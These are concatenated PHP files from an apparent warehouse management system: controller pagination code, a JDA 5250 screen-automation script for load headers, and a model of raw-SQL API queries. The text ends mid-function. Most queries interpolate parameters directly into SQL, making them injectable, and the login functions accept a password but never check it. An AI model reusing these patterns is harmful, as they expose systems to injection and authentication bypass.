// echo "<pre>"; print_r($results); die();
// $results_total = PurchaseOrder::getPOQuery($arrParams, TRUE); //count($results);//
// print_r($results_total); die();
DebugHelper::log(__METHOD__, $results_total);
// Pagination
$this->data['arrFilters'] = array(
'filter_po_no' => $filter_po_no,
'filter_receiver_no' => $filter_receiver_no,
'filter_shipment_reference_no' => $filter_shipment_reference_no,
'filter_entry_date' => $filter_entry_date,
'filter_stock_piler' => $filter_stock_piler,
'filter_back_order' => $filter_back_order,
'filter_status' => $filter_status,
'filter_brand' => $filter_brand,
'filter_division' => $filter_division,
'sort' => $sort,
'order' => $order
);
$this->data['purchase_orders'] = Paginator::make($results, $results_total, 30);
$this->data['load_code'] =$load_code;
$this->data['filer'] =$filer;
$this->data['date_at'] =$date_at;
/** $this->data['purchase_orders_count'] = $results_total;
$this->data['counter'] = $this->data['purchase_orders']->getFrom();
$this->data['filter_po_no'] = $filter_po_no;
$this->data['filter_receiver_no'] = $filter_receiver_no;
$this->data['filter_shipment_reference_no'] = $filter_shipment_reference_no;
$this->data['filter_entry_date'] = $filter_entry_date;
$this->data['filter_stock_piler'] = $filter_stock_piler;
$this->data['filter_status'] = $filter_status;
$this->data['filter_back_order'] = $filter_back_order;
$this->data['filter_brand'] = $filter_brand;
$this->data['filter_division'] = $filter_division;
$this->data['sort'] = $sort;
$this->data['order'] = $order;
$this->data['page'] = $page; **/
$url = '?filter_po_no=' . $filter_po_no;
$url .= '&filter_entry_date=' . $filter_entry_date;
$url .= '&filter_status=' . $filter_status;
$url .= '&page=' . $page;
$order_po_no = ($sort=='po_no' && $order=='ASC') ? 'DESC' : 'ASC';
$order_receiver_no = ($sort=='receiver_no' && $order=='ASC') ? 'DESC' : 'ASC';
$order_entry_date = ($sort=='entry_date' && $order=='ASC') ? 'DESC' : 'ASC';
$this->data['url_back'] = URL::to('purchase_order' . $this->setURL(false, true));
$this->data['sort_po_no'] = URL::to('purchase_order/division' . $url .'&receiver_no='.$receiver_no. '&sort=po_no&order=' . $order_po_no, NULL, FALSE);
$this->data['sort_receiver_no'] = URL::to('purchase_order' . $url . '&sort=receiver_no&order=' . $order_receiver_no, NULL, FALSE);
$this->data['sort_entry_date'] = URL::to('purchase_order' . $url . '&sort=entry_date&order=' . $order_entry_date, NULL, FALSE);
// Permissions
$this->data['permissions'] = unserialize(Session::get('permissions'));
$this->layout->content = View::make('loads.load_details', $this->data);
}
}
<file_sep><?php
include_once(__DIR__.'/../core/jda5250_helper.php');
include_once(__DIR__.'/../sql/mysql.php');
class palletizingStep3 extends jdaCustomClass
{
private static $formMsg = "";
private static $carrierNo = "12345"; //default
public static $warehouseNo = "7000 ";
public static $user = 'SYS';
/*
Palletizing Load header
13
04
10
18
Enter control number: LOADXXX20
press ENTER
Enter from location: 9005
TAB
TAB
TAB
TAB: Enter shipment common carrier: 12345 (default for dev)
TAB
TAB
TAB
TAB
TAB
TAB
TAB
TAB
TAB
TAB
TAB: enter created by: SYS
F8
TAB: Enter to Location: 20
press ENTER
F7
TAB: Enter to location: 21 (if one load id has multiple store)
F1
F9 (approve load)
F1
logout
*/
public function __construct() {
// parent::__construct();
parent::login();
}
private static function enterLoadHeaderMaintenance()
{
parent::$jda->screenWait("Load Header Maintenance");
parent::display(parent::$jda->screen,132);
parent::$jda->write5250(array(array("18",22,44)),ENTER,true);
echo "Entered: Load Header Maintenance \n";
}
public function enterLoadControlNumber($load_code)
{
print_r($load_code);
parent::$jda->screenWait("Load Control Number");
parent::display(parent::$jda->screen,132);
$formValues = array();//values to enter to form
$formValues[] = array(sprintf("%9s", $load_code),8,42); //enter pallet id
parent::$jda->write5250($formValues,ENTER,true);
echo "Entered: Load Control Number \n";
return self::checkResponse($load_code);
}
public function enterDetailForm($load_code)
{
parent::$jda->screenWait("Loading I.D. Number");
parent::display(parent::$jda->screen,132);
$formValues = array();//values to enter to form
$formValues[] = array(sprintf("%5s", self::$warehouseNo), 4, 17); //enter from location
$formValues[] = array(sprintf("%6d", self::$carrierNo), 10, 27); //enter shipment common carrier
$formValues[] = array(self::$user, 16, 14);// enter created by
parent::$jda->write5250($formValues,F8,true);
echo "Entered: Detail Form \n";
return self::checkResponse($load_code);
}
public function enterLocation($data)
{
$location = $data['store_code'];
print_r($location);
parent::$jda->screenWait("To Location");
parent::display(parent::$jda->screen,132);
$formValues = array();//values to enter to form
$formValues[] = array(sprintf("%5d", $location),10,34); //enter to location
parent::$jda->write5250($formValues,ENTER,true);
echo "Entered: To Location \n";
$isLocationValid = self::validateLocation($location);
if($isLocationValid) self::pressF7();
}
/*public function enterAnotherLocation()
{
parent::$jda->screenWait("Load Type: M");
parent::display(parent::$jda->screen,132);
parent::$jda->write5250(NULL,F7,true);
echo "Entered: Another Locations \n";
}
*/
public static function pressF1()
{
parent::$jda->screenWait("The record was changed");
parent::display(parent::$jda->screen,132);
parent::pressF1();
echo "Entered: Warehouse Load Control Detail and self press F1 key \n";
}
public static function pressF7()
{
parent::$jda->screenWait("F7=Accept");
parent::display(parent::$jda->screen,132);
parent::$jda->write5250(NULL,F7,true);
echo "Entered: Self Pressed F7 Key \n";
}
public static function pressF9($load)
{
parent::display(parent::$jda->screen,132);
if(parent::$jda->screenCheck('F9=Approve') || parent::$jda->screenWait('F9=Approve'))
{
parent::$jda->write5250(NULL,F9,true);
self::updateSyncStatus($load);
echo "Entered: Self Pressed F9 Key \n";
}
else {
parent::pressF1();
echo "Entered: Missing F9 Key \n";
self::updateSyncStatus($load);
}
}
/*public static function pressF9($ids)
{
parent::$jda->screenWait("F9=Approve");
parent::display(parent::$jda->screen,132);
parent::$jda->write5250(NULL,F9,true);
self::updateSyncStatus($ids);
echo "Entered: Self Pressed F9 Key \n";
}*/
public function save($loadCode)
{
self::pressF1();
self::pressF9($loadCode);
echo "Entered: Saving.. \n";
}
private static function checkResponse($data)
{
# error
if(parent::$jda->screenCheck('The load control i.d. may not be blank')) {
self::$formMsg = "{$data}: The load control i.d. may not be blank.";
parent::logError(self::$formMsg, __METHOD__);
return false;
}
if(parent::$jda->screenCheck('The carrier entered is not valid')) {
self::$formMsg = "{self::$carrierNo}: The carrier entered is not valid";
parent::logError(self::$formMsg, __METHOD__);
// parent::pressF1();
return false;
}
if(parent::$jda->screenCheck('The from location is not a valid location')) {
self::$formMsg = "{self::$warehouseNo}: The from location is not a valid location";
parent::logError(self::$formMsg, __METHOD__);
// parent::pressF1();
return false;
}
if(parent::$jda->screenCheck('The clerk entered is not valid for the from location')) {
self::$formMsg = "{self::$user}: The clerk entered is not valid for the from location";
parent::logError(self::$formMsg, __METHOD__);
// parent::pressF1();
return false;
}
echo self::$formMsg;
return true;
}
private static function validateLocation($data)
{
if(parent::$jda->screenCheck('The to location may not be blank')) {
self::$formMsg = "{$data}: The to location may not be blank";
parent::logError(self::$formMsg, __METHOD__);
// parent::pressF1();
// parent::pressF1();
return false;
}
echo self::$formMsg;
return true;
}
/*
* Get all open pallets
*/
/*public function getLoads()
{
$db = new pdoConnection();
echo "\n Getting load_code from db \n";
$sql = "SELECT DISTINCT load_code
FROM wms_load_details ld
LEFT JOIN wms_pallet p ON p.pallet_code = ld.pallet_code AND p.pallet_code = 1
WHERE ld.sync_status = 0
ORDER BY ld.load_code ASC";
$query = $db->query($sql);
$result = array();
foreach ($query as $value ) {
$result[] = $value['load_code'];
}
$db->close();
return $result;
}*/
public function getLocations($load_code)
{
$db = new pdoConnection();
echo "\n Getting load_code from db \n";
$sql = "SELECT ld.id, ld.pallet_code, ld.load_code,pallet.store_code
FROM wms_load_details ld
INNER JOIN wms_pallet pallet ON pallet.pallet_code = ld.pallet_code
WHERE ld.sync_status = 0 AND ld.load_code = '{$load_code}'";
$query = $db->query($sql);
$result = array();
foreach ($query as $value ) {
$result[] = $value;
}
$db->close();
return $result;
}
/*
* Update batch wms_load_details sync_status
*/
/*private static function updateSyncStatus($ids, $isError = FALSE)
{
$db = new pdoConnection();
$date_today = date('Y-m-d H:i:s');
$status = ($isError) ? parent::$errorFlag : parent::$successFlag;
echo "\n Updating... \n";
if(! empty($ids) )
{
$ids = join(',', $ids);
$sql = "UPDATE wms_load_details SET sync_status = {$status}, updated_at = '{$date_today}', jda_sync_date = '{$date_today}'
WHERE sync_status = 0 AND id IN ({$ids})";
$query = $db->exec($sql);
echo "Affected rows: $query \n";
}
else {
print_r($ids);
echo "Empty ids \n";
}
$db->close();
}*/
/*
* Update ewms trasaction_to_jda sync_status
*/
private static function updateSyncStatus($reference, $isError = FALSE)
{
$db = new pdoConnection();
$date_today = date('Y-m-d H:i:s');
$status = ($isError) ? parent::$errorFlag : parent::$successFlag;
echo "\n Getting receiver no from db \n";
$sql = "UPDATE wms_transactions_to_jda
SET sync_status = {$status}, updated_at = '{$date_today}', jda_sync_date = '{$date_today}'
WHERE sync_status = 0 AND module = 'Load Header' AND jda_action='Creation' AND reference = '{$reference}'";
$query = $db->exec($sql);
echo "Affected rows: $query \n";
$db->close();
}
/*
* On done only via android
*/
public function enterUpToLoadHeaderMaintenance()
{
//TODO::checkvalues
//TODO::how to know if error
try {
$title = "Palletizing Load header \n";
echo $title ;
parent::checkRecoverJob();
parent::checkJobOnProgress();
parent::enterDistributionManagement();
parent::enterWarehouseMaintenance();
parent::enterCartonPalletLoadMaintenance();
self::enterLoadHeaderMaintenance();
} catch (Exception $e) {
//send fail status
echo 'Error: '. $e->getMessage();
}
}
private static function syncBoxesToPallet($params)
{
$formattedString = "{$params['loadNo']}";
$dbInstance = new pdoConnection(); //open db connection
$dbInstance->daemon('palletizing_step4', $formattedString);
$dbInstance->close();
echo "Entered: Syncing boxes to pallet.... \n";
}
public function logout($params = array())
{
parent::logout();
self::syncBoxesToPallet($params);
}
}
$db = new pdoConnection(); //open db connection
$jdaParams = array();
$jdaParams = array('module' => 'Pallet Header', 'jda_action' => 'Creation', 'checkSuccess' => 'true');
$execParams = array();
$execParams['loadNo'] = ((isset($argv[1]))? $argv[1] : NULL);
print_r($execParams);
if(isset($argv[1])) $jdaParams['reference'] = $execParams['loadNo'];
$getUnsuccessfulPallets = $db->getJdaTransactionPallet($jdaParams);
if(empty($getUnsuccessfulPallets)){
$jdaParams = array();
$jdaParams = array('module' => 'Load Header', 'jda_action' => 'Creation');
if(isset($argv[1])) $jdaParams['reference'] = $execParams['loadNo'];
$getLoads = $db->getJdaTransaction($jdaParams);
print_r($getLoads);
if(! empty($getLoads) )
{
$palletizing = new palletizingStep3();
$palletizing->enterUpToLoadHeaderMaintenance();
// $getLoads = $palletizing->getLoads();
foreach($getLoads as $load)
{
$validate = $palletizing->enterLoadControlNumber($load);
if($validate)
{
$validateDetail = $palletizing->enterDetailForm($load);
if($validateDetail)
{
//get all location
$getLocations = $palletizing->getLocations($load);
$getIds = array();
foreach($getLocations as $location)
{
$isLocationValid = $palletizing->enterLocation($location);
// if($isLocationValid) $palletizing->enterAnotherLocation();
$getIds[] = $location['id'];
}
// $palletizing->save($getIds);
$palletizing->save($load);
}
}
}
$palletizing->logout($execParams);
}
else {
echo " \n No rows found!. Proceed to assigning boxes to pallet. \n";
$formattedString = "{$execParams['loadNo']}";
$db->daemon('palletizing_step4', $formattedString);
}
}
else{
echo " \n Found unsuccessful creation of pallet headers! Stop process!\n";
}
$db->close(); //close db connection<file_sep><?php
namespace App;
use Illuminate\Database\Eloquent\Model;
use DB;
use Response;
use Request;
class ModelApiName extends Model
{
//
public static function name()
{
//$query=DB::table('name')->select(DB::raw("*"))->get();
$query = DB::select(DB::raw("SELECT * from name"));
$table = 'name';
$output = array();
foreach ($query as $key => $row) {
$output[$table][$key] = $row;
}
return $query;
}
public static function GetApiRPoList($piler_id)
{
$query = DB::select(DB::raw("SELECT purchase_order_no,wms_purchase_order_lists.receiver_no,wms_purchase_order_details.dept_number as division_id,division,wms_purchase_order_details.po_status from wms_purchase_order_lists
inner JOIN wms_purchase_order_details on wms_purchase_order_lists.receiver_no=wms_purchase_order_details.receiver_no where wms_purchase_order_details.assigned_to_user_id=$piler_id and wms_purchase_order_details.po_status=3 group by wms_purchase_order_lists.receiver_no,dept_number"));
return $query;
}
public static function GetApiSlotCodes()
{
$query = DB::select(DB::raw("SELECT slot_code from wms_slot_lists"));
return $query;
}
public static function getAPIquery($query) {
$query = DB::select(DB::raw($query));
return $query;
}
public static function GetApiRPoListDetail($receiver_no,$division_id) {
$query = DB::select(DB::raw("SELECT receiver_no,dept_number as division,wms_purchase_order_details.sku,wms_purchase_order_details.upc,description as description,quantity_ordered,quantity_delivered,po_status FROM wms_purchase_order_details inner join wms_product_lists on wms_purchase_order_details.sku=wms_product_lists.sku WHERE receiver_no=$receiver_no and dept_number='$division_id'"));
return $query;
}
public static function UpdateApiRPoSlot($receiver_no,$division) {
$query = DB::select(DB::raw("update wms_purchase_order_details set po_status=3 WHERE receiver_no=$receiver_no and division=$division"));
return $query;
}
public static function getAPIUserLoginVerify($username,$password) {
$query = DB::select(DB::raw("select * from wms_users where username='$username' and deleted_at='0000-00-00 00:00:00' and (role_id='2' or role_id='8')"));
return $query;
}
public static function UserLogin($username,$password) {
$query = DB::select(DB::raw("select * from wms_users where username='$username' and deleted_at='0000-00-00 00:00:00' and role_id=3"));
return $query;
}
public static function UpdateRPoListDetail($receiver_no,$division_id,$upc,$rqty, $slot) {
$query = DB::select(DB::raw("update wms_purchase_order_details set quantity_delivered='$rqty',po_status=4, slot_code='$slot' where receiver_no='$receiver_no' and dept_number='$division_id' and upc='$upc'"));
return $query;
}
public static function RPoListDetailAdd($receiver_no,$division_id,$sku,$upc,$rqty,$userid,$slot,$division_name) {
$query = DB::select(DB::raw("insert INTO wms_purchase_order_details VALUES('','$upc','$sku','$receiver_no','$slot','$division_id','0','$division_name','0','0','$rqty','0000-00-00 00:00:00','0','$userid','4',date('Y-m-d H:i:s'),date('Y-m-d H:i:s'),'0000-00-00 00:00:00')"));
return $query;
}
public static function UpdateApiRpoList($receiver_no,$division) {
$query = DB::select(DB::raw("SELECT * from wms_purchase_order_details WHERE receiver_no=$receiver_no and po_status<>4"));
if(count($query)==0)
{
$query = DB::select(DB::raw("UPDATE wms_purchase_order_lists set po_status= '4' where receiver_no=$receiver_no"));
}
}
public static function GetApiPTLList($piler_id)
{
$query = DB::select(DB::raw("SELECT wms_picklist.move_doc_number,wms_stores.store_code,wms_stores.store_name from wms_picklist
inner join wms_picklist_details on wms_picklist.move_doc_number=wms_picklist_details.move_doc_number
inner join wms_stores on wms_picklist_details.store_code=wms_stores.store_code
where wms_picklist.assigned_to_user_id='$piler_id' and pl_status='16' group by wms_picklist_details.move_doc_number"));
return $query;
}
/** public static function UpdateTLStatus($query)
{
foreach ($query as $value) {
DB::select(DB::raw("UPDATE wms_picklist set pl_status='17' where moved_doc_number='$value->move_doc_number"));
}
}**/
public static function GetApiPTLListDetail($moved_doc)
{
$query = DB::select(DB::raw("SELECT wms_picklist.move_doc_number,wms_picklist_details.id, wms_picklist_details.sku as upc,
COALESCE(wms_product_lists.sku, 'Not Available') as sku,
COALESCE(wms_department.description,'Not Available') as dept,
COALESCE(wms_product_lists.short_description, 'Not Available') as style,
COALESCE(wms_product_lists.description,'Not Available') as short_description, quantity_to_pick, moved_qty from wms_picklist
INNER JOIN wms_picklist_details ON wms_picklist.move_doc_number = wms_picklist_details.move_doc_number
LEFT JOIN wms_product_lists ON wms_picklist_details.sku = wms_product_lists.upc
LEFT JOIN wms_department ON wms_product_lists.dept_code=wms_department.dept_code AND wms_product_lists.sub_dept =wms_department.sub_dept AND wms_product_lists.class = wms_department.class AND wms_product_lists.sub_class=wms_department.sub_class WHERE wms_picklist.move_doc_number = '$moved_doc'"));
return $query;
}
public static function ApiPTLListDetailUpdate($picking_id,$upc,$rcv_qty)
{
$query = DB::select(DB::raw("UPDATE wms_picklist_details set moved_qty='$rcv_qty'
where id = '$picking_id' and sku='$upc'"));
return $query;
}
public static function ApiPSTTLListDetailUpdate($picking_id,$upc,$rcv_qty)
{
$query = DB::select(DB::raw("UPDATE wms_store_return_pick_details set moved_qty='$rcv_qty'
where id = '$picking_id' and sku='$upc'"));
return $query;
}
public static function ApiPTLListUpdate($moved_doc)
{
$query = DB::select(DB::raw(" UPDATE wms_picklist
SET pl_status=17
WHERE move_doc_number='$moved_doc'"));
return $query;
}
public static function ApiPSTTLListUpdate($moved_doc)
{
$query = DB::select(DB::raw(" UPDATE wms_store_return_pickinglist
SET pl_status=17
WHERE move_doc_number='$moved_doc'"));
return $query;
}
public static function GetApiPTLGetBoxCode($store_id)
{
$query = DB::select(DB::raw("SELECT box_code,store_code as store_id,GROUP_CONCAT(move_doc_number) as move_doc,box_number as number,max(box_total)as total FROM wms_box WHERE store_code='$store_id' and assign_to_load=0 group by box_code"));
return $query;
}
public static function GetApiPSTTLGetBoxCode($store_id)
{
$query = DB::select(DB::raw("SELECT box_code,store_code as store_id,GROUP_CONCAT(tl_number) as move_doc, box_number as number,max(box_total)as total FROM wms_box WHERE store_code='$store_id' and in_use=0 group by box_code"));
return $query;
}
public static function GetApiPTLGetLastBoxCode($store_id, $move_doc)
{
$query = DB::select(DB::raw("SELECT MAX(box_code) as box_code,max(box_total) as total FROM wms_box WHERE store_code='$store_id' and move_doc_number='$move_doc'"));
return $query;
}
public static function GetApiPSTTLGetLastBoxCode($store_id, $move_doc)
{
$query = DB::select(DB::raw("SELECT MAX(box_code) as box_code,max(box_total) as total FROM wms_box WHERE store_code='$store_id' and tl_number='$move_doc'"));
return $query;
}
public static function GetApiPTLGetLastBoxCode1($store_id )
{
$query = DB::select(DB::raw("SELECT MAX(box_code) as box_code,max(box_total) as total FROM wms_box WHERE store_code='$store_id'"));
return $query;
}
public static function ApiPTLNewBoxCode($box_code,$store_id,$move_doc,$number,$total)
{
$query = DB::select(DB::raw("INSERT INTO
wms_box(`box_code`, `move_doc_number`, `store_code`, `box_number`, `box_total`)
VALUES ('$box_code','$move_doc','$store_id','$number','$total')"));
return $query;
}
public static function ApiPSTTLNewBoxCode($box_code,$store_id,$move_doc,$number,$total)
{
$query = DB::select(DB::raw("INSERT INTO
wms_box(`box_code`, `tl_number`, `store_code`, `box_number`, `box_total`)
VALUES ('$box_code','$move_doc','$store_id','$number','$total')"));
return $query;
}
public static function ApiPTLBoxDetailInsert($picklist_detail_id,$box_code,$moved_qty)
{
$query1 = DB::select(DB::raw("SELECT * from wms_box_details where picklist_detail_id = '$picklist_detail_id' and box_code='$box_code' "));
if(count($query1)==0)
{
$query = DB::select(DB::raw("INSERT INTO wms_box_details (`picklist_detail_id`, `box_code`, `moved_qty`) VALUES('$picklist_detail_id','$box_code','$moved_qty')"));
}
else {
$query = DB::select(DB::raw("UPDATE wms_box_details set moved_qty='$moved_qty' WHERE picklist_detail_id='$picklist_detail_id' and box_code='$box_code'"));
}
return $query;
}
public static function ApiSSTPTLBoxDetailInsert($picklist_detail_id,$box_code,$moved_qty)
{
$query1 = DB::select(DB::raw("SELECT * from wms_box_details where subloc_transfer_id = '$picklist_detail_id' and box_code='$box_code' "));
if(count($query1)==0)
{
$query = DB::select(DB::raw("INSERT INTO wms_box_details (`subloc_transfer_id`, `box_code`, `moved_qty`) VALUES('$picklist_detail_id','$box_code','$moved_qty')"));
}
else {
$query = DB::select(DB::raw("UPDATE wms_box_details set moved_qty='$moved_qty' WHERE subloc_transfer_id='$picklist_detail_id' and box_code='$box_code'"));
}
return $query;
}
public static function ApiPTLBoxUpdate($move_doc, $box_code)
{
$query = DB::select(DB::raw("SELECT * from wms_box where move_doc_number='$move_doc' and box_code='$box_code'"));
return $query;
}
public static function ApiPSTTLBoxUpdate($move_doc, $box_code)
{
$query = DB::select(DB::raw("SELECT * from wms_box where tl_number='$move_doc' and box_code='$box_code'"));
return $query;
}
public static function ApiPTLBoxValidate($box_code)
{
$query = DB::select(DB::raw(" SELECT count(box_code) as boxes_count from wms_box
where box_code='$box_code'"));
return $query;
}
public static function ApiLBlist($piler_id)
{
$query=DB::SELECT(DB::raw(" SELECT load_code FROM wms_load where assigned_to_user_id= '$piler_id' and is_shipped='0' and data_value = '1' and tagging_load='1'"));
return $query;
}
public static function ApiSTLBlist($piler_id)
{
$query=DB::SELECT(DB::raw(" SELECT load_code FROM wms_load where assigned_to_user_id= '$piler_id' and is_shipped='0' and data_value = '1' and tagging_load='2'"));
return $query;
}
public static function ApigetLoadinglist($piler_id)
{
$query=DB::SELECT(DB::raw(" SELECT load_code FROM wms_load where assigned_to_user_id= '$piler_id' and is_shipped='0' and data_value = '1' and tagging_load='1'"));
return $query;
}
public static function ApigetLoadingSTlist($piler_id)
{
$query=DB::SELECT(DB::raw(" SELECT load_code FROM wms_load where assigned_to_user_id= '$piler_id' and is_shipped='0' and data_value = '1' and tagging_load='2'"));
return $query;
}
public static function ApigetLoadinglistDetails($load_code)
{
$query=DB::SELECT(DB::raw(" SELECT load_code, box_number from wms_load_details where load_code
='$load_code'"));
return $query;
}
public static function ApigetLoadingSTlistDetails($load_code)
{
$query=DB::SELECT(DB::raw(" SELECT load_code, box_number from wms_load_details where load_code
='$load_code'"));
return $query;
}
public static function ApigetUpdateNewLoadingBoxStatus($load_code, $box_code, $status)
{
$query=DB::SELECT(DB::raw("UPDATE wms_load_details set is_load='$status' where load_code='$load_code' and box_number='$box_code'"));
return $query;
}
public static function ApigetUpdateNewLoadingSTBoxStatus($load_code, $box_code, $status)
{
$query=DB::SELECT(DB::raw("UPDATE wms_load_details set is_load='$status' where load_code='$load_code' and box_number='$box_code'"));
return $query;
}
public static function ApiLBlistdetails($load_code)
{
$query=DB::SELECT(DB::raw("SELECT wms_load_details.load_code, wms_load_details.move_doc_number, wms_picklist_details.store_code, wms_stores.store_name FROM wms_load_details left join wms_picklist_details on wms_load_details.move_doc_number = wms_picklist_details.move_doc_number left join wms_stores on wms_picklist_details.store_code = wms_stores.store_code
WHERE load_code='$load_code' group by wms_picklist_details.move_doc_number "));
return $query;
}
public static function ApiSTLBlistdetails($load_code)
{
$query=DB::SELECT(DB::raw("SELECT wms_load_details.load_code, wms_load_details.move_doc_number, wms_store_return_pick_details.from_store_code, wms_store_return_pick_details.to_store_code as store_name
FROM wms_load_details
left join wms_store_return_pick_details on wms_load_details.move_doc_number = wms_store_return_pick_details.move_doc_number
left join wms_stores on wms_store_return_pick_details.from_store_code = wms_stores.store_code
WHERE load_code='$load_code' group by wms_store_return_pick_details.move_doc_number "));
return $query;
}
public static function ApiSTLBlistdetailsBox($move_doc)
{
$query=DB::SELECT(DB::raw("SELECT wms_box.box_code, wms_box.store_code, wms_box.tl_number from wms_box where tl_number='$move_doc'"));
return $query;
}
public static function ApiLBListDetailbox($move_doc)
{
$query=DB::SELECT(DB::raw("SELECT wms_box.box_code, wms_box.store_code, wms_box.move_doc_number from wms_box where move_doc_number='$move_doc'"));
return $query;
}
public static function ApiUpdateLoadingStatus($load_code,$date)
{
$query=DB::SELECT(DB::raw("UPDATE wms_load set ship_at='$date', is_shipped='1' where load_code='$load_code' "));
return $query;
}
public static function ApiUpdateLoadingSTStatus($load_code,$date)
{
$query=DB::SELECT(DB::raw("UPDATE wms_load set ship_at='$date', is_shipped='1' where load_code='$load_code' "));
return $query;
}
public static function getApiSOPiler($piler_id)
{
$query=DB::SELECT(DB::raw("SELECT wms_store_order.load_code, wms_store_order.so_no as move_doc, wms_store_order.store_code from wms_store_order where wms_store_order.assigned_user_id='$piler_id' and so_status='3'"));
return $query;
}
public static function getApiSOboxnumber($move_doc)
{
$query=DB::SELECT(DB::raw("SELECT wms_store_detail_box.box_code, wms_store_detail_box.move_doc_number
from wms_store_detail_box
where wms_store_detail_box.move_doc_number='$move_doc' group by wms_store_detail_box.box_code"));
return $query;
}
public static function getAPIPStoreListDetailUpc($moved_doc, $box_code)
{
$query=DB::SELECT(DB::raw(" SELECT wms_store_detail_box.move_doc_number, wms_store_detail_box.box_code, wms_store_detail_box.upc,
wms_product_lists.description, wms_store_detail_box.quantity_packed
from wms_store_detail_box
left join wms_product_lists on wms_store_detail_box.upc = wms_product_lists.upc
where wms_store_detail_box.move_doc_number='$moved_doc' and wms_store_detail_box.box_code= '$box_code'"));
return $query;
}
public static function getApiSOdetailContent($boxcode, $move_doc)
{
$query=DB::SELECT(DB::raw("SELECT wms_store_order.load_code, wms_store_order_detail.sku, wms_store_order_detail.ordered_qty, wms_box_details.moved_qty, wms_store_order_detail.delivered_qty, wms_box.box_code, wms_product_lists.description
FROM wms_store_order
inner join wms_store_order_detail on wms_store_order.so_no = wms_store_order_detail.so_no
left join wms_box on wms_store_order.so_no = wms_box.move_doc_number
inner join wms_box_details on wms_box.box_code = wms_box_details.box_code
left join wms_product_lists on wms_store_order_detail.sku = wms_product_lists.upc
where wms_box.box_code='$boxcode' and wms_store_order_detail.so_no='$move_doc'"));
return $query;
}
public static function getApiUpdateLoadingBoxStatus($move_doc, $boxcode, $status)
{
$query=DB::SELECT(DB::raw("UPDATE wms_box set boxstatus_unload='$status', wms_box.in_use='1' where move_doc_number='$move_doc' and box_code='$boxcode' "));
return $query;
}
public static function getApiUpdateSTLoadingBoxStatus($move_doc, $boxcode, $status)
{
$query=DB::SELECT(DB::raw("UPDATE wms_box set boxstatus_unload='$status' where tl_number='$move_doc' and box_code='$boxcode' "));
return $query;
}
public static function getApiUpdateStoreOrderUpc($move_doc, $upc, $rcv_qty)
{
$query=DB::SELECT(DB::raw("UPDATE wms_store_order_detail set delivered_qty='$rcv_qty' where so_no='$move_doc' and sku='$upc'"));
return $query;
}
public static function getAPIUpdateStoreOrderBox($move_doc, $box_code, $upc, $rcv_qty)
{
$query=DB::SELECT(DB::raw("UPDATE wms_store_detail_box set quantity_pick='$rcv_qty' where move_doc_number='$move_doc' and box_code='$box_code' and upc='$upc'"));
return $query;
}
public static function getAPIUpdateStoreOrderStatus($move_doc )
{
$query=DB::SELECT(DB::raw("UPDATE wms_store_order set so_status='4' where so_no='$move_doc' "));
return $query;
}
public static function getAPIRSTList($piler_id)
{
$query=DB::SELECT(DB::raw("SELECT so_no as mts_no, from_store_code as location_id, store_name as location_name
from wms_store_return
left join wms_stores on wms_store_return.from_store_code = wms_stores.store_code
where assigned_to_user_id='$piler_id' and so_status='21'"));
return $query;
}
public static function getAPIRSTListDetail($mts_no)
{
$query=DB::SELECT(DB::raw("SELECT wms_store_return_detail.so_no as mts_no, wms_store_return_detail.sku as upc, wms_product_lists.description, wms_store_return_detail.delivered_qty as oqty, wms_store_return_detail.received_qty as rqty FROM wms_store_return_detail left join wms_product_lists on wms_store_return_detail.sku = wms_product_lists.upc where so_no='$mts_no'"));
return $query;
}
public static function getAPIPSTList($piler_id)
{
$query=DB::SELECT(DB::raw("SELECT wms_store_return_pick_details.to_store_code as location_id, wms_stores.store_name as location_name, (SELECT wms_stores.store_name from wms_stores where wms_stores.store_code=wms_store_return_pick_details.to_store_code) as from_name, wms_store_return_pickinglist.move_doc_number as mts_no, wms_store_return_pick_details.to_store_code as from_id
from wms_store_return_pickinglist
left join wms_store_return_pick_details on wms_store_return_pickinglist.move_doc_number = wms_store_return_pick_details.move_doc_number
left join wms_stores on wms_store_return_pick_details.from_store_code = wms_stores.store_code
where pl_status=16 and assigned_to_user_id='$piler_id'"));
return $query;
}
public static function getAPIPSTListDetail($mts_no)
{
$query=DB::SELECT(DB::raw("SELECT move_doc_number as mts_no, wms_store_return_pick_details.sku as upc, 'test' as descr, id as picking_id, quantity_to_pick as oqty, moved_qty as rqty
FROM wms_store_return_pick_details
WHERE move_doc_number ='$mts_no'"));
return $query;
}
public static function getAPIRRLList($piler_id)
{
$query=DB::SELECT(DB::raw("SELECT wms_stores.store_name as location_name, wms_reverse_logistic.move_doc_number as mts_no, wms_reverse_logistic.from_store_code as location_id FROM wms_reverse_logistic
left join wms_stores on wms_reverse_logistic.from_store_code = wms_stores.store_code
where so_status=21 and assigned_to_user_id='$piler_id'"));
return $query;
}
public static function getAPIRSTListDetailUpdate($mts_no, $upc, $rqty)
{
$query=DB::SELECT(DB::raw("UPDATE wms_store_return_detail set received_qty='$rqty' where so_no='$mts_no' AND sku='$upc'" ));
return $query;
}
public static function getAPIRSTListDetailAdd($mts_no, $upc, $rqty)
{
$query=DB::SELECT(DB::raw("INSERT INTO `wms_store_return_detail`(`id`, `so_no`, `sku`, `delivered_qty`, `received_qty`, `sync_status`, `created_at`, `updated_at`, `jda_sync_date`) VALUES ('','$mts_no','$upc',0,'$rqty','','','','')" ));
return $query;
}
public static function getAPIRSTListUpdateStatus($mts_no)
{
$query=DB::SELECT(DB::raw("UPDATE wms_store_return set so_status=22 where so_no='$mts_no'"));
return $query;
}
public static function getAPIRRLListDetailUpdate($mts_no, $upc, $rqty)
{
$query=DB::SELECT(DB::raw("UPDATE wms_reverse_logistic_det set moved_qty='$rqty' where move_doc_number='$mts_no' and upc='$upc'"));
return $query;
}
public static function getAPIRRLListDetail($mts_no)
{
$query=DB::SELECT(DB::raw("SELECT move_doc_number as mts_no, wms_reverse_logistic_det.upc, delivered_qty as oqty, wms_product_lists.description, wms_reverse_logistic_det.moved_qty as rqty FROM `wms_reverse_logistic_det` left join wms_product_lists on wms_reverse_logistic_det.upc = wms_product_lists.upc WHERE move_doc_number='$mts_no' "));
return $query;
}
public static function getAPIRRLListDetailAdd($mts_no, $upc, $rqty)
{
$query=DB::SELECT(DB::raw("INSERT INTO `wms_reverse_logistic_det`(`id`, `move_doc_number`, `upc`, `delivered_qty`, `moved_qty`, `created_at`, `updated_at`) VALUES ('','$mts_no','$upc',0,'$rqty','','')" ));
return $query;
}
public static function getAPIRRLListUpdateStatus($mts_no)
{
$query=DB::SELECT(DB::raw("UPDATE wms_reverse_logistic set so_status=22 where move_doc_number='$mts_no'" ));
return $query;
}
public static function GetApiUser($user_id,$password)
{
